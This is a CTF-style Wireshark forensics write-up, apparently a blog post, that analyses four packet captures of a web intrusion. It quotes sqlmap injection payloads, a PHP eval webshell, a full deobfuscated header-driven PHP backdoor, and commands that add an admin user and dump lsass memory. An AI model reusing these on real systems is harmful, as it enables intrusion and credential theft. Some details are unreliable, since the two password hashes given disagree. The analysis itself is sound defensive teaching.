Wireshark流量分析例题
目录
前言
一、题目一(1.pcap)
二、题目二(2.pcap)
三、题目三(3.pcap)
四、题目四(4.pcap)
前言
Wireshark流量包分析对于安全来说是很重要的,我们可以通过Wireshark来诊断网络问题,检测网络攻击、监控网络流量以及捕获恶意软件等等
接下来我们来看一道数据分析题,需要4个流量包 1-4.pcap,网盘链接自行提取
链接:百度网盘 请输入提取码 提取码:hrc4
一、题目一(1.pcap)
题目要求:
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc)
4.第一个受害主机网站数据库的名字
看到题目SQL注入,那就首先过滤http和https协议
过滤后可以看到两个出现次数比较多的ip,202.1.1.2和192.168.1.8,可以看到202.1.1.2对192.168.1.8进行了攻击

这里第一个问题的答案就出来了,受害主机网卡IP是192.168.1.8 ,202.1.1.2为攻击者IP
然后直接看源IP为202.1.1.2的http请求包
这里随便先看一个包,urlcode解码后如下
可以看到黑客使用了SQL注入,试图构造存储型xss
option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(&XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',tab
再看一个包,同样urlcode解码
分析后发现仍在尝试SQL注入,注入工具sqlmap,注入点为list[select]
option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=(" OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71717a7671,(SELECT (ELT(883
然后我们去追踪一个SQL注入的TCP流
可以看到数据库为MariaDB,已经报错,而且表前缀为ajtuc_

要找到数据库名的话,我们最好去最后那几条去找,看到url中如果包含schema关键字,那大概率就是数据库名

这里的数据库名使用十六进制解码,解码出来就是joomla
答案:
1.黑客攻击的第一个受害主机的网卡IP地址
192.168.1.8
2.黑客对URL的哪一个参数实施了SQL注入
list[select]
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
ajtuc_
4.第一个受害主机网站数据库的名字
joomla
二、题目二(2.pcap)
打开2.pcap
题目要求:
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求
所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑
正常文件不会以此命名的, 打开数据包看一下,发现了这个字段
Form item: "zzz" = "@eval(base64_decode($_POST[z0]));"
其实一句话木马密码已经出来了,就是zzz

这里他上传的一句话木马应该是
<?php eval($_POST['zzz']);?>
然后又将eval(base64_decode($_POST[z0]));传入zzz参数,目的是将z0传入的数据进行base64的解码
此时z0传入base64编码后的数据,便可以执行恶意代码
解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

第二题是第二次上传木马的时间
没有头绪的话来分析下过滤出来的这几个包,其他参数都一样,重要的是Length这个字段

第一个包毋庸置疑是会比其他包长一点,但是第四个包很奇怪,和其他包相比长了150多字节左右
追踪tcp流

可以明显看到z2很不正常,其他参数都是urlcode和base64编码
z2使用十六进制编码,我们来解码看一下
这样的PHP代码是通过混淆过的,让我们根本看不懂他的代码

经过还原后的代码:
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l;) {for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {$o .= $t{$i} ^ $k{$j};}}return $o;
}$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {$u = parse_url($rr);parse_str($u["query"], $q);$q = array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);if ($q && $m) {@session_start();$s =& $_SESSION;$ss = "substr";$sl = "strtolower";$i = $m[1][0] . $m[1][4];$h = $sl($ss(md5($i . $kh), 0, 3));$f = $sl($ss(md5($i . $kf), 0, 3));$p = "";for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];if (strpos($p, $h) === 0) {$s[$i] = "";$p = $ss($p, 3);}if (array_key_exists($i, $s)) {$s[$i] .= $p;$e = strpos($s[$i], $f);if ($e) {$k = $kh . $kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));$o = ob_get_contents();ob_end_clean();$d = base64_encode(x(gzcompress($o), $k));print("<$k>$d</$k>");@session_destroy();}}}
}
?>
检查后发现create_function函数,这个函数是可以执行命令的
官方也提示这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患
说明黑客是利用了create_function函数来上传了自己的木马
时间的话,ctrl+f,选择分组详情,选择字符串,搜索time字符串,时间就出来了
Feb 7, 2018 17:20:44.248365000 中国标准时间

然后我们来分析一下这个木马
木马要利用,就必然会与数据包进行交互,仔细看看这两行代码
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互
所以可以基本断定这两个字段是黑客用来传输他想执行的命令的
我们随便看一个访问footer.php的包
发现Referer字段长度很不正常,Accept-Language字段正常

所以可以基本确定,木马通过HTTP协议中的referer头传递数据
答案
1.黑客第一次获得的php木马的密码是什么
zzz
2.黑客第二次上传php木马是什么时间
17:20:44.248365
3.第二次上传的木马通过HTTP协议中的哪个头传递数据
Referer
三、题目三(3.pcap)
打开3.pcap
题目要求:
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
2.php代理第一次被使用时最先连接了哪个IP地址
题目要求mysql的数据,直接过滤,tcp contains "mysql" && mysql
发现黑客一直在爆破MySQL密码

我们找到最后一条,可能是爆破成功的密码
用户:admin
密码Hash:4858e7dcb0968daa7b599be4b0edb88a25ad89ac
然后过滤http请求,发现名为tunnel.php的php文件

点开可以清晰地看到php代理第一次连接的IP地址是4.2.2.2,端口53

答案
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2.php代理第一次被使用时最先连接了哪个IP地址
4.2.2.2
四、题目四(4.pcap)
打开4.pcap
题目要求:
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
2.黑客在内网主机中添加的用户名和密码是多少
3.黑客从内网服务器中下载下来的文件名
获取当前目录的文件列表的命令,Windows中是dir,linux中是ls
直接过滤
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

发现有ls,也有dir
追踪tcp流,发现第一次的ls没有执行成功,因为没有服务器回显
第二次的dir执行成功了

搜索时间
Feb 7, 2018 18:36:59.770782000 中国标准时间
在Windows下添加用户必然要使用net user,管理员用户回显Administrator,所以我们直接过滤
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "user" || http contains "Administrator")
这里看到是没有任何用户的,时间Feb 7, 2018 18:49:27.767754000 中国标准时间

再往后面看发现已经添加了管理员用户kaka,时间
Feb 7, 2018 18:50:42.908737000 中国标准时间

那么黑客必然是在这个时间段执行了添加用户的命令
然后我们就来看这期间的http请求,直接通过时间过滤
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http && frame.time_relative >= 827.109385 && frame.time_relative <= 902.267039

最终我们发现这个不寻常的请求
通过base64解码发现
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
用户名和密码分别为 kaka:kaka
最后一题是下载,一句话木马是POST请求,而且攻击的IP地址为192.168.2.20,那就直接过滤
ip.dst == 192.168.2.20 && http.request.method == POST
筛出来之后没办法只有一个个看,base64解码

然后在最后发现了这个包

解码后:
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lspasss.dmp&echo [S]&cd&echo [E]
发现使用了procdump.exe
往后看发现了这个包

解码出来是这样的
C:\phpStudy\WWW\b2evolution\install\test\lsass.exe_180208_185247.dmp
最后我们可以确定,黑客下载了lsass.exe_180208_185247.dmp文件
答案
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
Feb 7, 2018 18:36:59.770782000
2.黑客在内网主机中添加的用户名和密码是多少
kaka:kaka
3.黑客从内网服务器中下载下来的文件名
lsass.exe_180208_185247.dmp
相关文章:
Wireshark流量分析例题
目录 前言 一、题目一(1.pcap) 二、题目二(2.pcap) 三、题目三(3.pcap) 四、题目四(4.pcap) 前言 Wireshark流量包分析对于安全来说是很重要的,我们可以通过Wireshark来诊断网络问题,检测网络攻击、监控网络流量以及捕获恶意软件等等 接下来我们…...
聚观早报|2023戴尔科技峰会助力创新;小米汽车电池供应商敲定
【聚观365】8月23日消息 2023戴尔科技峰会助力企业创新 小米汽车电池供应商敲定中创新航和宁德时代 iPhone15预计有6种配色 王小川卸任自动驾驶企业禾多科技董事 特斯拉动力总成副总裁宣布离职 2023戴尔科技峰会助力企业创新 近日“新生万物 数实新格局 —— 2023戴尔科技…...
大学生创业出路【第二弹】科创训练营
目录 🚀一、我从哪里了解到的训练营 🚀二、训练营里学习和日常 🔎学习 🔎环境和设备 🔎遇到的人 🔎团队记录视频 🚀三、感悟 个人主页:一天三顿-不喝奶茶Ἱ…...
EG3D: Efficient Geometry-aware 3D Generative Adversarial Networks [2022 CVPR]
长期以来,仅使用单视角二维照片集无监督生成高质量多视角一致图像和三维形状一直是一项挑战。现有的三维 GAN 要么计算密集,要么做出的近似值与三维不一致;前者限制了生成图像的质量和分辨率,后者则对多视角一致性和形状质量产生不…...
进行Stable Diffusion的ai训练怎么选择显卡?
Stable Diffusion主要用于从文本生成图像,是人工智能技术在内容创作行业中不断发展的应用。要在本地计算机上运行Stable Diffusion,您需要一个强大的 GPU 来满足其繁重的要求。强大的 GPU 可以让您更快地生成图像,而具有大量 VRAM 的更强大的…...
【Linux】【驱动】第一个相对完整的驱动编写
【Linux】【驱动】第一个相对完整的驱动编写 续1.驱动部分的代码2 app 代码3 操作相关的代码 续 这个章节会讲述去直接控制一个GPIO,高低电平。 因为linux不允许直接去操作寄存器,所以在操作寄存器的时候就需要使用到函数:ioremap 和iounma…...
PHP 高德地图,获取经纬度
function addresstolatlag($address){$abc "xxx学校(xx路店)";$key"24fb21b484f89f212dc3f4fd016e2b4d";//没有key$address $abc;$regeo_url"https://restapi.amap.com/v3/geocode/geo";$address_location$regeo_url."?outputJSON&a…...
Node基础--Node基础使用体验
在上一篇文章中提到我们按照好Node.js之后,就可以在控制台看到其版本。那么下面我们一起来看看如何使用node执行js文件代码。 (1).在本地创建一个名称为hello.js的文件,输入内容如下所示: console.log("helloworld");var a 1;var b 2;cons…...
22 从0到1:API测试怎么做?常用API测试工具简介
API 测试的基本步骤 准备测试数据(可选,不一定所有 API 测试都需要这一步);通过 API 测试工具,发起对被测 API 的 request;验证返回结果的 response。 Postman操作步骤 发起 API 调用;添加结…...
Skywalking Kafka Tracing实现
背景 Skywalking默认场景下,Tracing对于消息队列的发送场景,无法将TraceId传递到下游消费者,但对于微服务场景下,是有大量消息队列的业务场景的,这显然无法满足业务预期。 解决方案 Skywalking的官方社区中…...
Perl 解析字符串为日期对象并获取多天前的日期字符串
Perl 解析字符串 perl语言中的库 Time::Piece可以将字符串解析为日期对象。 use Time::Piece; my ($y, $m, $d) 20230823 ~ /^([0-9]{4})([0-9]{2})([0-9]{2})\z/ or die;my $dt Time::Piece->strptime("$y$m$d","%Y%m%d");Perl获取多天之前的日期 …...
C语言问题 - 关于一维数组和二维数组用*a+i形式表达
问题 今天在编写程序时被一个语句搞懵了: #include<stdio.h>int main() {int *pa[6];int a[2][3] {{1,2,3},{4,5,6}};int sum 0;int i,j,k 0;for (i0; i<2; i){for (j0; j<3; j){*(pa k) *(a i) j;k;}}for (i0; i<k; i){printf("%d &q…...
验证码识别DLL ,滑块识别SDK,OCR图片转文字,机器视觉找物品
验证码识别DLL ,滑块识别SDK 你们用过哪些OCR提取文字,识图DLL,比如Opencv,Labview机器视觉找物品之类?...
【图论】最小生成树的应用
一.题目 P1550 [USACO08OCT] Watering Hole G - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 二.分析 1.我们是要使所有的农场都要有水 2.可以从起点引水,也可以互相引水。 3.费用要最小 这时我们可以想到最小生成树,建立一个虚拟节点即可。思路一…...
C++类模板的特化(三)
本文主要介绍类模板的特化、局部特化和缺省模板实参; 1.类模板的特化 类模板的特化(Class Template Specialization)是指为特定的模板参数提供自定义实现的过程。通过特化,我们可以针对某些特定的类型或条件提供不同的行为或实现…...
基于YOLOV8模型的课堂场景下人脸目标检测系统(PyTorch+Pyside6+YOLOv8模型)
摘要:基于YOLOV8模型的课堂场景下人脸目标检测系统可用于日常生活中检测与定位课堂场景下人脸,利用深度学习算法可实现图片、视频、摄像头等方式的目标检测,另外本系统还支持图片、视频等格式的结果可视化与结果导出。本系统采用YOLOv8目标检…...
java八股文面试[数据结构]——Map有哪些子类
知识来源: 【23版面试突击】 用过哪些Map类,都有什么区别,HashMap是线程安全的吗?_哔哩哔哩_bilibili https://www.cnblogs.com/bubbleboom/p/12694013.html...
司徒理财:8.23今日黄金原油走势分析附操作策略
黄金走势分析: 黄金下跌遇阻,短线开启震荡调整走势,但跌势依旧没有改变,没有突破1906压力前,还是偏空走势,反弹继续干空。趋势行情,不要轻言翻转!即便下跌结束,…...
使用动态IP是否会影响网络
今天我们要谈论的话题是关于动态IP和网络的关系。也许有些小伙伴对这个概念还比较陌生,但别担心,我会简单明了的给你理清楚。让我们一起看看动态IP到底能否影响到网络。 首先,我们先来搞明白什么是动态IP。在互联网世界中,每一个连…...
Linux学习笔记-常用指令说明
本文目录 一、Linux指令笔记 二、"授人以鱼,不如授人以渔" 一、Linux指令笔记 0、cd 命令是 change dir 的简写,它可以把终端当前所在的路径切换至目标路径。 1、mkdir 建立文件夹。是 make directory 的简写,它可以在文件系统中创建一个新的目…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
测试微信模版消息推送
进入“开发接口管理”--“公众平台测试账号”,无需申请公众账号、可在测试账号中体验并测试微信公众平台所有高级接口。 获取access_token: 自定义模版消息: 关注测试号:扫二维码关注测试号。 发送模版消息: import requests da…...
汽车生产虚拟实训中的技能提升与生产优化
在制造业蓬勃发展的大背景下,虚拟教学实训宛如一颗璀璨的新星,正发挥着不可或缺且日益凸显的关键作用,源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例,汽车生产线上各类…...
最新SpringBoot+SpringCloud+Nacos微服务框架分享
文章目录 前言一、服务规划二、架构核心1.cloud的pom2.gateway的异常handler3.gateway的filter4、admin的pom5、admin的登录核心 三、code-helper分享总结 前言 最近有个活蛮赶的,根据Excel列的需求预估的工时直接打骨折,不要问我为什么,主要…...
项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)
Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败,具体原因是客户端发送了密码认证请求,但Redis服务器未设置密码 1.为Redis设置密码(匹配客户端配置) 步骤: 1).修…...
Yolov8 目标检测蒸馏学习记录
yolov8系列模型蒸馏基本流程,代码下载:这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中,**知识蒸馏(Knowledge Distillation)**被广泛应用,作为提升模型…...
Linux nano命令的基本使用
参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时,显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...
运行vue项目报错 errors and 0 warnings potentially fixable with the `--fix` option.
报错 找到package.json文件 找到这个修改成 "lint": "eslint --fix --ext .js,.vue src" 为elsint有配置结尾换行符,最后运行:npm run lint --fix...
STL 2迭代器
文章目录 1.迭代器2.输入迭代器3.输出迭代器1.插入迭代器 4.前向迭代器5.双向迭代器6.随机访问迭代器7.不同容器返回的迭代器类型1.输入 / 输出迭代器2.前向迭代器3.双向迭代器4.随机访问迭代器5.特殊迭代器适配器6.为什么 unordered_set 只提供前向迭代器? 1.迭代器…...
